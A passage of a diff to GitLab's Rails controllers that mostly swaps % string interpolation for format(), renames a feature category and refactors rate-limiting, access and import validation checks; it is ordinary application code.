+++ b/app/controllers/concerns/access_tokens_actions.rb
@@ -43,9 +43,9 @@ module AccessTokensActions
revoked_response = ResourceAccessTokens::RevokeService.new(current_user, resource, @resource_access_token).execute
if revoked_response.success?
- flash[:notice] = _("Revoked access token %{access_token_name}!") % { access_token_name: @resource_access_token.name }
+ flash[:notice] = format(_("Revoked access token %{access_token_name}!"), access_token_name: @resource_access_token.name)
else
- flash[:alert] = _("Could not revoke access token %{access_token_name}.") % { access_token_name: @resource_access_token.name }
+ flash[:alert] = format(_("Could not revoke access token %{access_token_name}."), access_token_name: @resource_access_token.name)
end
redirect_to resource_access_tokens_path
diff --git a/app/controllers/concerns/check_rate_limit.rb b/app/controllers/concerns/check_rate_limit.rb
index 0eaf74fd3a9..fc3be3ad009 100644
--- a/app/controllers/concerns/check_rate_limit.rb
+++ b/app/controllers/concerns/check_rate_limit.rb
@@ -8,10 +8,7 @@
# See lib/api/helpers/rate_limiter.rb for API version
module CheckRateLimit
def check_rate_limit!(key, scope:, redirect_back: false, **options)
- return if bypass_header_set?
- return unless rate_limiter.throttled?(key, scope: scope, **options)
-
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
+ return unless Gitlab::ApplicationRateLimiter.throttled_request?(request, current_user, key, scope: scope, **options)
return yield if block_given?
@@ -23,14 +20,4 @@ module CheckRateLimit
render plain: message, status: :too_many_requests
end
end
-
- private
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
-
- def bypass_header_set?
- ::Gitlab::Throttle.bypass_header.present? && request.get_header(Gitlab::Throttle.bypass_header) == '1'
- end
end
diff --git a/app/controllers/concerns/confirm_email_warning.rb b/app/controllers/concerns/confirm_email_warning.rb
index 32e1a46e580..ec5140bf223 100644
--- a/app/controllers/concerns/confirm_email_warning.rb
+++ b/app/controllers/concerns/confirm_email_warning.rb
@@ -19,10 +19,17 @@ module ConfirmEmailWarning
email = current_user.unconfirmed_email || current_user.email
- flash.now[:warning] = _("Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}.").html_safe % {
+ flash.now[:warning] = format(
+ confirm_warning_message,
email: email,
resend_link: view_context.link_to(_('Resend it'), user_confirmation_path(user: { email: email }), method: :post),
update_link: view_context.link_to(_('Update it'), profile_path)
- }
+ ).html_safe
+ end
+
+ private
+
+ def confirm_warning_message
+ _("Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}.")
end
end
diff --git a/app/controllers/concerns/content_security_policy_patch.rb b/app/controllers/concerns/content_security_policy_patch.rb
new file mode 100644
index 00000000000..a4dc232ee42
--- /dev/null
+++ b/app/controllers/concerns/content_security_policy_patch.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+##
+# `content_security_policy_with_context` makes the caller's context available to the invoked block,
+# as this is currently not accessible from `content_security_policy`
+#
+# This patch is available in content_security_policy starting with Rails 7.2.
+# Refs: https://github.com/rails/rails/pull/45115.
+module ContentSecurityPolicyPatch
+ def content_security_policy_with_context(enabled = true, **options, &block)
+ if Rails.gem_version >= Gem::Version.new("7.2")
+ ActiveSupport::Deprecation.warn(
+ "content_security_policy_with_context should only be used with Rails < 7.2.
+ Use content_security_policy instead.")
+ end
+
+ before_action(options) do
+ if block
+ policy = current_content_security_policy
+ instance_exec(policy, &block)
+ request.content_security_policy = policy
+ end
+
+ request.content_security_policy = nil unless enabled
+ end
+ end
+end
diff --git a/app/controllers/concerns/enforces_two_factor_authentication.rb b/app/controllers/concerns/enforces_two_factor_authentication.rb
index c8de041d5bd..cdef1a45a27 100644
--- a/app/controllers/concerns/enforces_two_factor_authentication.rb
+++ b/app/controllers/concerns/enforces_two_factor_authentication.rb
@@ -25,8 +25,9 @@ module EnforcesTwoFactorAuthentication
case self
when GraphqlController
render_error(
- _("Authentication error: enable 2FA in your profile settings to continue using GitLab: %{mfa_help_page}") %
- { mfa_help_page: mfa_help_page_url },
+ format(
+ _("Authentication error: enable 2FA in your profile settings to continue using GitLab: %{mfa_help_page}"),
+ mfa_help_page: mfa_help_page_url),
status: :unauthorized
)
else
diff --git a/app/controllers/concerns/gitlab_recaptcha.rb b/app/controllers/concerns/gitlab_recaptcha.rb
index cedadba5fc7..7b2382eee4c 100644
--- a/app/controllers/concerns/gitlab_recaptcha.rb
+++ b/app/controllers/concerns/gitlab_recaptcha.rb
@@ -2,7 +2,7 @@
module GitlabRecaptcha
extend ActiveSupport::Concern
- include Recaptcha::Verify
+ include Recaptcha::Adapters::ControllerMethods
include RecaptchaHelper
def load_recaptcha
diff --git a/app/controllers/concerns/integrations/actions.rb b/app/controllers/concerns/integrations/actions.rb
index e0a12555e11..7bebafae0fd 100644
--- a/app/controllers/concerns/integrations/actions.rb
+++ b/app/controllers/concerns/integrations/actions.rb
@@ -57,9 +57,9 @@ module Integrations::Actions
def success_message
if integration.active?
- s_('Integrations|%{integration} settings saved and active.') % { integration: integration.title }
+ format(s_('Integrations|%{integration} settings saved and active.'), integration: integration.title)
else
- s_('Integrations|%{integration} settings saved, but not active.') % { integration: integration.title }
+ format(s_('Integrations|%{integration} settings saved, but not active.'), integration: integration.title)
end
end
diff --git a/app/controllers/concerns/integrations/params.rb b/app/controllers/concerns/integrations/params.rb
index 74d998503b7..4d181ded071 100644
--- a/app/controllers/concerns/integrations/params.rb
+++ b/app/controllers/concerns/integrations/params.rb
@@ -5,6 +5,9 @@ module Integrations
extend ActiveSupport::Concern
ALLOWED_PARAMS_CE = [
+ :app_store_issuer_id,
+ :app_store_key_id,
+ :app_store_private_key,
:active,
:alert_events,
:api_key,
@@ -38,6 +41,7 @@ module Integrations
:external_wiki_url,
:google_iap_service_account_json,
:google_iap_audience_client_id,
+ :incident_events,
:inherit_from_id,
# We're using `issues_events` and `merge_requests_events`
# in the view so we still need to explicitly state them
diff --git a/app/controllers/concerns/issuable_collections.rb b/app/controllers/concerns/issuable_collections.rb
index 7b0d8cf8dcb..5060ce69d9c 100644
--- a/app/controllers/concerns/issuable_collections.rb
+++ b/app/controllers/concerns/issuable_collections.rb
@@ -3,6 +3,7 @@
module IssuableCollections
extend ActiveSupport::Concern
include PaginatedCollection
+ include SearchRateLimitable
include SortingHelper
include SortingPreference
include Gitlab::Utils::StrongMemoize
diff --git a/app/controllers/concerns/issuable_collections_action.rb b/app/controllers/concerns/issuable_collections_action.rb
index 7beb86b51fd..b8249345a54 100644
--- a/app/controllers/concerns/issuable_collections_action.rb
+++ b/app/controllers/concerns/issuable_collections_action.rb
@@ -5,6 +5,12 @@ module IssuableCollectionsAction
include IssuableCollections
include IssuesCalendar
+ included do
+ before_action :check_search_rate_limit!, only: [:issues, :merge_requests], if: -> {
+ params[:search].present? && Feature.enabled?(:rate_limit_issuable_searches)
+ }
+ end
+
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def issues
show_alert_if_search_is_disabled
diff --git a/app/controllers/concerns/lfs_request.rb b/app/controllers/concerns/lfs_request.rb
index 1653b40bad5..1c4521e2353 100644
--- a/app/controllers/concerns/lfs_request.rb
+++ b/app/controllers/concerns/lfs_request.rb
@@ -80,7 +80,7 @@ module LfsRequest
def lfs_download_access?
ci? || lfs_deploy_token? || user_can_download_code? || build_can_download_code? || deploy_token_can_download_code?
end
- strong_memoize_attr :lfs_download_access?, :lfs_download_access
+ strong_memoize_attr :lfs_download_access?
def deploy_token_can_download_code?
deploy_token.present? &&
@@ -92,10 +92,12 @@ module LfsRequest
return false unless has_authentication_ability?(:push_code)
return false if limit_exceeded?
- lfs_deploy_token? || can?(user, :push_code,
-project) || can?(deploy_token, :push_code, project) || any_branch_allows_collaboration?
+ lfs_deploy_token? ||
+ can?(user, :push_code, project) ||
+ can?(deploy_token, :push_code, project) ||
+ any_branch_allows_collaboration?
end
- strong_memoize_attr :lfs_upload_access?, :lfs_upload_access
+ strong_memoize_attr :lfs_upload_access?
def any_branch_allows_collaboration?
project.merge_requests_allowing_push_to_user(user).any?
diff --git a/app/controllers/concerns/membership_actions.rb b/app/controllers/concerns/membership_actions.rb
index 28d0af7a118..7c6e449b509 100644
--- a/app/controllers/concerns/membership_actions.rb
+++ b/app/controllers/concerns/membership_actions.rb
@@ -11,7 +11,7 @@ module MembershipActions
.new(current_user, update_params)
.execute(member)
- member = result[:member]
+ member = result[:members].first
member_data = if member.expires?
{
@@ -66,8 +66,7 @@ module MembershipActions
notice: _('Your request for access has been queued for review.')
else
redirect_to polymorphic_path(membershipable),
- alert: _("Your request for access could not be processed: %{error_message}") %
- { error_message: access_requester.errors.full_messages.to_sentence }
+ alert: format(_("Your request for access could not be processed: %{error_message}"), error_message: access_requester.errors.full_messages.to_sentence)
end
end
@@ -87,9 +86,9 @@ module MembershipActions
notice =
if member.request?
- _("Your access request to the %{source_type} has been withdrawn.") % { source_type: source_type }
+ format(_("Your access request to the %{source_type} has been withdrawn."), source_type: source_type)
else
- _("You left the \"%{membershipable_human_name}\" %{source_type}.") % { membershipable_human_name: membershipable.human_name, source_type: source_type }
+ format(_("You left the \"%{membershipable_human_name}\" %{source_type}."), membershipable_human_name: membershipable.human_name, source_type: source_type)
end
respond_to do |format|
diff --git a/app/controllers/concerns/notes_actions.rb b/app/controllers/concerns/notes_actions.rb
index a41e2d840ac..512dbf0de5d 100644
--- a/app/controllers/concerns/notes_actions.rb
+++ b/app/controllers/concerns/notes_actions.rb
@@ -100,7 +100,7 @@ module NotesActions
def gather_all_notes
now = Time.current
- notes = merge_resource_events(notes_finder.execute.inc_relations_for_view)
+ notes = merge_resource_events(notes_finder.execute.inc_relations_for_view(noteable))
[notes, { last_fetched_at: (now.to_i * MICROSECOND) + now.usec }]
end
diff --git a/app/controllers/concerns/observability/content_security_policy.rb b/app/controllers/concerns/observability/content_security_policy.rb
index eccd1e1e3ef..3865e3b606d 100644
--- a/app/controllers/concerns/observability/content_security_policy.rb
+++ b/app/controllers/concerns/observability/content_security_policy.rb
@@ -5,8 +5,14 @@ module Observability
extend ActiveSupport::Concern
included do
- content_security_policy do |p|
- next if p.directives.blank? || Gitlab::Observability.observability_url.blank?
+ content_security_policy_with_context do |p|
+ current_group = if defined?(group)
+ group
+ else
+ defined?(project) ? project&.group : nil
+ end
+
+ next if p.directives.blank? || !Gitlab::Observability.observability_enabled?(current_user, current_group)
default_frame_src = p.directives['frame-src'] || p.directives['default-src']
diff --git a/app/controllers/concerns/redirects_for_missing_path_on_tree.rb b/app/controllers/concerns/redirects_for_missing_path_on_tree.rb
index 085afbf3975..92574dfade9 100644
--- a/app/controllers/concerns/redirects_for_missing_path_on_tree.rb
+++ b/app/controllers/concerns/redirects_for_missing_path_on_tree.rb
@@ -8,7 +8,7 @@ module RedirectsForMissingPathOnTree
private
def missing_path_on_ref(path, ref)
- _('"%{path}" did not exist on "%{ref}"') % { path: truncate_path(path), ref: ref }
+ format(_('"%{path}" did not exist on "%{ref}"'), path: truncate_path(path), ref: ref)
end
def truncate_path(path)
diff --git a/app/controllers/concerns/renders_blob.rb b/app/controllers/concerns/renders_blob.rb
index a15bf27a22f..c3ccd9edd87 100644
--- a/app/controllers/concerns/renders_blob.rb
+++ b/app/controllers/concerns/renders_blob.rb
@@ -35,6 +35,6 @@ module RendersBlob
def conditionally_expand_blobs(blobs)
return unless params[:expanded] == 'true'
- blobs.each { |blob| blob.expand! }
+ blobs.each(&:expand!)
end
end
diff --git a/app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb b/app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb
index 044519004b2..6ba079ee658 100644
--- a/app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb
+++ b/app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb
@@ -9,7 +9,7 @@ module SpammableActions::AkismetMarkAsSpamAction
def mark_as_spam
if Spam::AkismetMarkAsSpamService.new(target: spammable).execute
- redirect_to spammable_path, notice: _("%{spammable_titlecase} was submitted to Akismet successfully.") % { spammable_titlecase: spammable.spammable_entity_type.titlecase }
+ redirect_to spammable_path, notice: format(_("%{spammable_titlecase} was submitted to Akismet successfully."), spammable_titlecase: spammable.spammable_entity_type.titlecase)
else
redirect_to spammable_path, alert: _('Error with Akismet. Please check the logs for more info.')
end
diff --git a/app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb b/app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb
index 707c1e6c84f..23db6a4b368 100644
--- a/app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb
+++ b/app/controllers/concerns/spammable_actions/captcha_check/html_format_actions_support.rb
@@ -24,7 +24,7 @@ module SpammableActions::CaptchaCheck::HtmlFormatActionsSupport
# Convert spam/CAPTCHA values from form field params to headers, because all spam-related services
# expect these values to be passed as headers.
#
- # The 'g-recaptcha-response' field name comes from `Recaptcha::ClientHelper#recaptcha_tags` in the
+ # The 'g-recaptcha-response' field name comes from `Recaptcha::Adapters::ViewMethods#recaptcha_tags` in the
# recaptcha gem. This is a field which is automatically included by calling the
# `#recaptcha_tags` method within a HAML template's form.
def convert_html_spam_params_to_headers
diff --git a/app/controllers/concerns/uploads_actions.rb b/app/controllers/concerns/uploads_actions.rb
index 0ba13896631..308da018a42 100644
--- a/app/controllers/concerns/uploads_actions.rb
+++ b/app/controllers/concerns/uploads_actions.rb
@@ -5,7 +5,7 @@ module UploadsActions
include Gitlab::Utils::StrongMemoize
include SendFileUpload
- UPLOAD_MOUNTS = %w[avatar attachment file logo header_logo favicon].freeze
+ UPLOAD_MOUNTS = %w[avatar attachment file logo pwa_icon header_logo favicon].freeze
included do
prepend_before_action :set_request_format_from_path_extension
diff --git a/app/controllers/concerns/verifies_with_email.rb b/app/controllers/concerns/verifies_with_email.rb
index 3cada24a81a..82388090350 100644
--- a/app/controllers/concerns/verifies_with_email.rb
+++ b/app/controllers/concerns/verifies_with_email.rb
@@ -105,8 +105,10 @@ module VerifiesWithEmail
end
def render_sign_in_rate_limited
- message = s_('IdentityVerification|Maximum login attempts exceeded. '\
- 'Wait %{interval} and try again.') % { interval: user_sign_in_interval }
+ message = format(
+ s_('IdentityVerification|Maximum login attempts exceeded. Wait %{interval} and try again.'),
+ interval: user_sign_in_interval
+ )
redirect_to new_user_session_path, alert: message
end
diff --git a/app/controllers/dashboard_controller.rb b/app/controllers/dashboard_controller.rb
index 82e5bb6cd7c..3d9184979d7 100644
--- a/app/controllers/dashboard_controller.rb
+++ b/app/controllers/dashboard_controller.rb
@@ -16,7 +16,7 @@ class DashboardController < Dashboard::ApplicationController
feature_category :users, [:activity]
feature_category :team_planning, [:issues, :issues_calendar]
- feature_category :code_review, [:merge_requests]
+ feature_category :code_review_workflow, [:merge_requests]
urgency :low, [:merge_requests, :activity]
urgency :low, [:issues, :issues_calendar]
diff --git a/app/controllers/groups/autocomplete_sources_controller.rb b/app/controllers/groups/autocomplete_sources_controller.rb
index 171494e66bd..6936733c4f7 100644
--- a/app/controllers/groups/autocomplete_sources_controller.rb
+++ b/app/controllers/groups/autocomplete_sources_controller.rb
@@ -3,7 +3,7 @@
class Groups::AutocompleteSourcesController < Groups::ApplicationController
feature_category :subgroups, [:members]
feature_category :team_planning, [:issues, :labels, :milestones, :commands]
- feature_category :code_review, [:merge_requests]
+ feature_category :code_review_workflow, [:merge_requests]
urgency :low, [:issues, :labels, :milestones, :commands, :merge_requests, :members]
diff --git a/app/controllers/groups/imports_controller.rb b/app/controllers/groups/imports_controller.rb
index a35237a706d..569e26b3de9 100644
--- a/app/controllers/groups/imports_controller.rb
+++ b/app/controllers/groups/imports_controller.rb
@@ -14,7 +14,8 @@ class Groups::ImportsController < Groups::ApplicationController
redirect_to group_path(@group), notice: s_('GroupImport|The group was successfully imported.')
end
elsif @group.import_state.failed?
- redirect_to new_group_path(@group), alert: s_('GroupImport|Failed to import group.')
+ redirect_to new_group_path(@group),
+ alert: format(s_('GroupImport|Failed to import group: %{error}'), error: @group.import_state.last_error)
else
flash.now[:notice] = continue_params[:notice_now]
end
diff --git a/app/controllers/groups/observability_controller.rb b/app/controllers/groups/observability_controller.rb
index 3baa5e830ff..726af00a10e 100644
--- a/app/controllers/groups/observability_controller.rb
+++ b/app/controllers/groups/observability_controller.rb
@@ -19,6 +19,10 @@ module Groups
render_observability
end
+ def datasources
+ render_observability
+ end
+
private
def render_observability
@@ -26,9 +30,7 @@ module Groups
end
def check_observability_allowed
- return render_404 unless Gitlab::Observability.observability_url.present?
-
- render_404 unless can?(current_user, :read_observability, @group)
+ render_404 unless Gitlab::Observability.observability_enabled?(current_user, group)
end
end
end
diff --git a/app/controllers/groups/settings/ci_cd_controller.rb b/app/controllers/groups/settings/ci_cd_controller.rb
index 1dfa8cdf133..78e3ffa4af9 100644
--- a/app/controllers/groups/settings/ci_cd_controller.rb
+++ b/app/controllers/groups/settings/ci_cd_controller.rb
@@ -23,7 +23,7 @@ module Groups
if update_group_service.execute
flash[:notice] = s_('GroupSettings|Pipeline settings was updated for the group')
else
- flash[:alert] = s_("GroupSettings|There was a problem updating the pipeline settings: %{error_messages}." % { error_messages: group.errors.full_messages })
+ flash[:alert] = format(s_("GroupSettings|There was a problem updating the pipeline settings: %{error_messages}."), error_messages: group.errors.full_messages)
end
redirect_to group_settings_ci_cd_path
@@ -33,7 +33,7 @@ module Groups
if auto_devops_service.execute
flash[:notice] = s_('GroupSettings|Auto DevOps pipeline was updated for the group')
else
- flash[:alert] = s_("GroupSettings|There was a problem updating Auto DevOps pipeline: %{error_messages}." % { error_messages: group.errors.full_messages })
+ flash[:alert] = format(s_("GroupSettings|There was a problem updating Auto DevOps pipeline: %{error_messages}."), error_messages: group.errors.full_messages)
end
redirect_to group_settings_ci_cd_path
diff --git a/app/controllers/groups/usage_quotas_controller.rb b/app/controllers/groups/usage_quotas_controller.rb
index 29878f0001d..b660eb3af99 100644
--- a/app/controllers/groups/usage_quotas_controller.rb
+++ b/app/controllers/groups/usage_quotas_controller.rb
@@ -16,8 +16,7 @@ module Groups
private
def verify_usage_quotas_enabled!
- render_404 unless Feature.enabled?(:usage_quotas_for_all_editions, group)
- render_404 if group.has_parent?
+ render_404 unless group.usage_quotas_enabled?
end
# To be overriden in ee/app/controllers/ee/groups/usage_quotas_controller.rb
diff --git a/app/controllers/groups_controller.rb b/app/controllers/groups_controller.rb
index 0a487bb2508..e440b60ad1f 100644
--- a/app/controllers/groups_controller.rb
+++ b/app/controllers/groups_controller.rb
@@ -8,7 +8,7 @@ class GroupsController < Groups::ApplicationController
include RecordUserLastActivity
include SendFileUpload
include FiltersEvents
- include Recaptcha::Verify
+ include Recaptcha::Adapters::ControllerMethods
extend ::Gitlab::Utils::Override
respond_to :html
@@ -55,7 +55,7 @@ class GroupsController < Groups::ApplicationController
]
feature_category :team_planning, [:issues, :issues_calendar, :preview_markdown]
- feature_category :code_review, [:merge_requests, :unfoldered_environment_names]
+ feature_category :code_review_workflow, [:merge_requests, :unfoldered_environment_names]
feature_category :projects, [:projects]
feature_category :importers, [:export, :download_export]
urgency :low, [:export, :download_export]
@@ -256,7 +256,7 @@ class GroupsController < Groups::ApplicationController
def determine_layout
if [:new, :create].include?(action_name.to_sym)
- 'application'
+ 'dashboard'
elsif [:edit, :update, :projects].include?(action_name.to_sym)
'group_settings'
else
diff --git a/app/controllers/ide_controller.rb b/app/controllers/ide_controller.rb
index 8a8c41e65b9..bedeae3cf54 100644
--- a/app/controllers/ide_controller.rb
+++ b/app/controllers/ide_controller.rb
@@ -10,7 +10,6 @@ class IdeController < ApplicationController
before_action do
push_frontend_feature_flag(:build_service_proxy)
- push_frontend_feature_flag(:schema_linting)
push_frontend_feature_flag(:reject_unsigned_commits_by_gitlab)
define_index_vars
end
diff --git a/app/controllers/import/available_namespaces_controller.rb b/app/controllers/import/available_namespaces_controller.rb
deleted file mode 100644
index c16c40cefea..00000000000
--- a/app/controllers/import/available_namespaces_controller.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class Import::AvailableNamespacesController < ApplicationController
- feature_category :importers
- urgency :low
-
- def index
- render json: NamespaceSerializer.new.represent(current_user.manageable_groups_with_routes(include_groups_with_developer_maintainer_access: true))
- end
-end
diff --git a/app/controllers/import/bitbucket_controller.rb b/app/controllers/import/bitbucket_controller.rb
index 1d05cee02d4..8a0f4a36781 100644
--- a/app/controllers/import/bitbucket_controller.rb
+++ b/app/controllers/import/bitbucket_controller.rb
@@ -78,12 +78,12 @@ class Import::BitbucketController < Import::BaseController
override :importable_repos
def importable_repos
- bitbucket_repos.filter { |repo| repo.valid? }
+ bitbucket_repos.filter(&:valid?)
end
override :incompatible_repos
def incompatible_repos
- bitbucket_repos.reject { |repo| repo.valid? }
+ bitbucket_repos.reject(&:valid?)
end
def provider_url
diff --git a/app/controllers/import/bitbucket_server_controller.rb b/app/controllers/import/bitbucket_server_controller.rb
index 12147196749..40664922d3d 100644
--- a/app/controllers/import/bitbucket_server_controller.rb
+++ b/app/controllers/import/bitbucket_server_controller.rb
@@ -63,12 +63,12 @@ class Import::BitbucketServerController < Import::BaseController
override :importable_repos
def importable_repos
- bitbucket_repos.filter { |repo| repo.valid? }
+ bitbucket_repos.filter(&:valid?)
end
override :incompatible_repos
def incompatible_repos
- bitbucket_repos.reject { |repo| repo.valid? }
+ bitbucket_repos.reject(&:valid?)
end
override :provider_name
diff --git a/app/controllers/import/bulk_imports_controller.rb b/app/controllers/import/bulk_imports_controller.rb
index 9a7118ce498..e9705c45116 100644
--- a/app/controllers/import/bulk_imports_controller.rb
+++ b/app/controllers/import/bulk_imports_controller.rb
@@ -3,8 +3,11 @@
class Import::BulkImportsController < ApplicationController
include ActionView::Helpers::SanitizeHelper
- before_action :ensure_group_import_enabled
+ before_action :ensure_bulk_import_enabled
before_action :verify_blocked_uri, only: :status
+ before_action only: :status do
+ push_frontend_feature_flag(:bulk_import_projects)
+ end
feature_category :importers
urgency :low
@@ -17,6 +20,9 @@ class Import::BulkImportsController < ApplicationController
session[access_token_key] = configure_params[access_token_key]&.strip
session[url_key] = configure_params[url_key]
+ verify_blocked_uri && performed? && return
+ validate_configure_params!
+
redirect_to status_import_bulk_imports_url(namespace_id: params[:namespace_id])
end
@@ -100,6 +106,16 @@ class Import::BulkImportsController < ApplicationController
params.permit(access_token_key, url_key)
end
+ def validate_configure_params!
+ client = BulkImports::Clients::HTTP.new(
+ url: credentials[:url],
+ token: credentials[:access_token]
+ )
+
+ client.validate_instance_version!
+ client.validate_import_scopes!
+ end
+
def create_params
params.permit(bulk_import: bulk_import_params)[:bulk_import]
end
@@ -115,11 +131,12 @@ class Import::BulkImportsController < ApplicationController
destination_name
destination_slug
destination_namespace
+ migrate_projects
]
end
- def ensure_group_import_enabled
- render_404 unless ::BulkImports::Features.enabled?
+ def ensure_bulk_import_enabled
+ render_404 unless Gitlab::CurrentSettings.bulk_import_enabled?
end
def access_token_key
diff --git a/app/controllers/import/github_controller.rb b/app/controllers/import/github_controller.rb
index cb58b5974ca..9a8f6a74653 100644
--- a/app/controllers/import/github_controller.rb
+++ b/app/controllers/import/github_controller.rb
@@ -150,7 +150,7 @@ class Import::GithubController < Import::BaseController
end
def client_repos_response
- @client_repos_response ||= client_proxy.repos(sanitized_filter_param, pagination_options)
+ @client_repos_response ||= client_proxy.repos(sanitized_filter_param, fetch_repos_options)
end
def client_repos
@@ -160,7 +160,11 @@ class Import::GithubController < Import::BaseController
def sanitized_filter_param
super
- @filter = @filter&.tr(' ', '')&.tr(':', '')
+ @filter = sanitize_query_param(@filter)
+ end
+
+ def sanitize_query_param(value)
+ value.to_s.first(255).gsub(/[ :]/, '')
end
def verify_import_enabled
@@ -222,6 +226,10 @@ class Import::GithubController < Import::BaseController
head :too_many_requests
end
+ def fetch_repos_options
+ pagination_options.merge(relation_options)
+ end
+
def pagination_options
{
before: params[:before].presence,
@@ -233,6 +241,13 @@ class Import::GithubController < Import::BaseController
per_page: PAGE_LENGTH
}
end
+
+ def relation_options
+ {
+ relation_type: params[:relation_type],
+ organization_login: sanitize_query_param(params[:organization_login])
+ }
+ end
end
Import::GithubController.prepend_mod_with('Import::GithubController')
diff --git a/app/controllers/omniauth_callbacks_controller.rb b/app/controllers/omniauth_callbacks_controller.rb
index 8650b6cbc6f..5bd3b74af1f 100644
--- a/app/controllers/omniauth_callbacks_controller.rb
+++ b/app/controllers/omniauth_callbacks_controller.rb
@@ -186,7 +186,7 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
persist_accepted_terms_if_required(user) if new_user
store_after_sign_up_path_for_user if intent_to_register?
- sign_in_and_redirect(user, event: :authentication)
+ sign_in_and_redirect_or_confirm_identity(user, auth_user, new_user)
end
else
fail_login(user)
@@ -306,7 +306,6 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
end
def persist_accepted_terms_if_required(user)
- return unless Feature.enabled?(:update_oauth_registration_flow)
return unless user.persisted?
return unless Gitlab::CurrentSettings.current_application_settings.enforce_terms?
@@ -317,6 +316,11 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
def store_after_sign_up_path_for_user
store_location_for(:user, users_sign_up_welcome_path)
end
+
+ # overridden in EE
+ def sign_in_and_redirect_or_confirm_identity(user, _, _)
+ sign_in_and_redirect(user, event: :authentication)
+ end
end
OmniauthCallbacksController.prepend_mod_with('OmniauthCallbacksController')
diff --git a/app/controllers/profiles/avatars_controller.rb b/app/controllers/profiles/avatars_controller.rb
index d9e4b9a149d..55a2904ce83 100644
--- a/app/controllers/profiles/avatars_controller.rb
+++ b/app/controllers/profiles/avatars_controller.rb
@@ -6,7 +6,7 @@ class Profiles::AvatarsController < Profiles::ApplicationController
def destroy
@user = current_user
- Users::UpdateService.new(current_user, user: @user).execute { |user| user.remove_avatar! }
+ Users::UpdateService.new(current_user, user: @user).execute(&:remove_avatar!)
redirect_to profile_path, status: :found
end
diff --git a/app/controllers/profiles/two_factor_auths_controller.rb b/app/controllers/profiles/two_factor_auths_controller.rb
index 03b7cc9f892..c36f03d3e69 100644
--- a/app/controllers/profiles/two_factor_auths_controller.rb
+++ b/app/controllers/profiles/two_factor_auths_controller.rb
@@ -206,7 +206,7 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
def webauthn_options
WebAuthn::Credential.options_for_create(
user: { id: current_user.webauthn_xid, name: current_user.username },
- exclude: current_user.webauthn_registrations.map { |c| c.credential_xid },
+ exclude: current_user.webauthn_registrations.map(&:credential_xid),
authenticator_selection: { user_verification: 'discouraged' },
rp: { name: 'GitLab' }
)
diff --git a/app/controllers/projects/artifacts_controller.rb b/app/controllers/projects/artifacts_controller.rb
index c3dcde38d09..3201538a393 100644
--- a/app/controllers/projects/artifacts_controller.rb
+++ b/app/controllers/projects/artifacts_controller.rb
@@ -82,6 +82,7 @@ class Projects::ArtifactsController < Projects::ApplicationController
def raw
return render_404 unless zip_artifact?
+ return render_404 unless artifacts_file
path = Gitlab::Ci::Build::Artifacts::Path.new(params[:path])
diff --git a/app/controllers/projects/autocomplete_sources_controller.rb b/app/controllers/projects/autocomplete_sources_controller.rb
index ef20c71cd77..000203079cc 100644
--- a/app/controllers/projects/autocomplete_sources_controller.rb
+++ b/app/controllers/projects/autocomplete_sources_controller.rb
@@ -5,7 +5,7 @@ class Projects::AutocompleteSourcesController < Projects::ApplicationController
before_action :authorize_read_crm_contact!, only: :contacts
feature_category :team_planning, [:issues, :labels, :milestones, :commands, :contacts]
- feature_category :code_review, [:merge_requests]
+ feature_category :code_review_workflow, [:merge_requests]
feature_category :users, [:members]
feature_category :source_code_management, [:snippets]
@@ -33,7 +33,7 @@ class Projects::AutocompleteSourcesController < Projects::ApplicationController
end
def commands
- render json: autocomplete_service.commands(target, params[:type])
+ render json: autocomplete_service.commands(target)
end
def snippets
diff --git a/app/controllers/projects/ci/pipeline_editor_controller.rb b/app/controllers/projects/ci/pipeline_editor_controller.rb
index 84e5d59a2c3..1942a5fef7b 100644
--- a/app/controllers/projects/ci/pipeline_editor_controller.rb
+++ b/app/controllers/projects/ci/pipeline_editor_controller.rb
@@ -2,9 +2,6 @@
class Projects::Ci::PipelineEditorController < Projects::ApplicationController
before_action :check_can_collaborate!
- before_action do
- push_frontend_feature_flag(:schema_linting, @project)
- end
feature_category :pipeline_authoring
diff --git a/app/controllers/projects/design_management/designs/resized_image_controller.rb b/app/controllers/projects/design_management/designs/resized_image_controller.rb
index 50a997f32db..6bf304419e1 100644
--- a/app/controllers/projects/design_management/designs/resized_image_controller.rb
+++ b/app/controllers/projects/design_management/designs/resized_image_controller.rb
@@ -8,12 +8,13 @@ module Projects
include SendFileUpload
before_action :validate_size!
+ before_action :validate_sha!
skip_before_action :default_cache_headers, only: :show
def show
relation = design.actions
- relation = relation.up_to_version(sha) if sha
+ relation = relation.up_to_version(version) if version
action = relation.most_recent.first
return render_404 unless action
@@ -37,9 +38,19 @@ module Projects
render_404 unless ::DesignManagement::DESIGN_IMAGE_SIZES.include?(size)
end
+ def validate_sha!
+ render_404 if sha && version.blank?
+ end
+
def size
params[:id]
end
+
+ def version
+ return if sha.blank?
+
+ @version ||= design.versions.find_by_sha(sha)
+ end
end
end
end
diff --git a/app/controllers/projects/environments_controller.rb b/app/controllers/projects/environments_controller.rb
index 537fd3854c4..ea1288c0b20 100644
--- a/app/controllers/projects/environments_controller.rb
+++ b/app/controllers/projects/environments_controller.rb
@@ -299,6 +299,16 @@ class Projects::EnvironmentsController < Projects::ApplicationController
def authorize_update_environment!
access_denied! unless can?(current_user, :update_environment, environment)
end
+
+ def append_info_to_payload(payload)
+ super
+
+ return unless Feature.enabled?(:environments_search_logging) && params[:search].present?
+
+ # Merging to :metadata will ensure these are logged as top level keys
+ payload[:metadata] ||= {}
